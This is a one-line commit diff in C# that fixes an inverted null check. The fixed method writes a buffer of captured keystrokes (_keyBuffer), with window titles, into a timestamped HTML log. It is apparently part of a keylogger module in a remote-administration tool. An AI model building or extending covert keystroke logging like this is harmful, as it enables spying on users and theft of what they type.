Make sure it is not null!

Forgot to make sure to check if it is not null.
This commit is contained in:
yankejustin 2015-05-04 12:43:41 -04:00
parent 68a1cda9b7
commit e951674c21
1 changed files with 1 additions and 1 deletions

View File

@ -207,7 +207,7 @@ private void WriteFile()
"<meta http-equiv='Content-Type' content='text/html; charset=utf-8' />Log created on " + "<meta http-equiv='Content-Type' content='text/html; charset=utf-8' />Log created on " +
DateTime.Now.ToString("dd.MM.yyyy HH:mm") + "<br>"); DateTime.Now.ToString("dd.MM.yyyy HH:mm") + "<br>");
if (string.IsNullOrEmpty(_keyBuffer.ToString())) if (!string.IsNullOrEmpty(_keyBuffer.ToString()))
sw.Write(_keyBuffer); sw.Write(_keyBuffer);
_hWndLastTitle = string.Empty; _hWndLastTitle = string.Empty;